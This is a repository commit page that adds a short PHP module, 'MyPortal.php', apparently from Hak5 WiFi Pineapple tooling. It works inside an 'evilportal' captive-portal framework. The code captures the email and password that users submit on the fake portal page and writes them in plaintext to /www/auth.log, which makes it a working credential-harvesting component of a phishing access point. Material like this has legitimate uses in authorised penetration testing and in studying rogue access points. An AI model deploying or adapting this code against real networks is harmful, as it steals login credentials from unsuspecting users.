mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Add modules to repository
This commit is contained in:
34
PortalAuth/includes/scripts/injects/Harvester/backups/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Harvester/backups/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user